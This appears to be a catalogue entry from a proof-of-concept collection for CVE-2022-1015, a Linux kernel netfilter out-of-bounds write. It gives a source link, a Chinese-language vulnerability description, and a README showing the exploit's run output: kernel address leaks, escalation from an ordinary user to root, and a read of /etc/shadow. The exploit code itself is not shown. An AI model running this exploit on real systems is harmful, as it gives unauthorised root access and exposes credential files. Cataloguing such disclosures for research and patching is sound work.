CVE-2022-1015 PoC — Linux kernel 缓冲区错误漏洞

Source

https://github.com/delsploit/CVE-2022-1015

Associated Vulnerability

Title:Linux kernel 缓冲区错误漏洞 (CVE-2022-1015)
Description:Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 Linux 内核存在安全漏洞，该漏洞源于在netfilter子系统的linux/net/netfilter/nf_tables_api.c中存在Linux内核的一个缺陷。此漏洞允许本地用户导致越界写入问题。攻击者可以通过nft_expr_payload触发 Linux 内核的内存损坏，从而触发拒绝服务，并可能运行代码。

Readme

# CVE-2022-1015

```
# id
uid=1000(d) gid=1000(d) groups=1000(d)
# ./poc
[+] unshare done
[*] table created: leak_table
[*] chain created: leak_chain
[*] rule added
[*] Listening on port 9999
[*] table created: leak_table
[*] chain created: leak_chain
[*] rule added
[*] Listening on port 9999
    kernel_address: ffffffffb4a00000
    kernel_stack: ffffc0bb0037fdf0
[*] Saved userland registers
[#] cs: 0x33
[#] ss: 0x2b
[#] rsp: 0x7ffcef818110
[#] rflags: 0x246

[*] table created: write_table
[*] chain created: write_chain
[*] rule added
uid=0(root) gid=0(root)
# id
uid=0(root) gid=0(root)
# cat /etc/shadow
root::::::::
daemon:*:::::::
bin:*:::::::
sys:*:::::::
sync:*:::::::
mail:*:::::::
www-data:*:::::::
operator:*:::::::
nobody:*:::::::
sshd:*:::::::
```

File Snapshot


 [4.0K]  /data/pocs/635f14cbf40dbac15b9cb499d0915feee6a1971f
├── [ 164]  Makefile
├── [ 26K]  poc.c
├── [ 765]  README.md
└── [4.0K]  smep-only
    ├── [ 164]  Makefile
    └── [ 26K]  poc.c

1 directory, 5 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!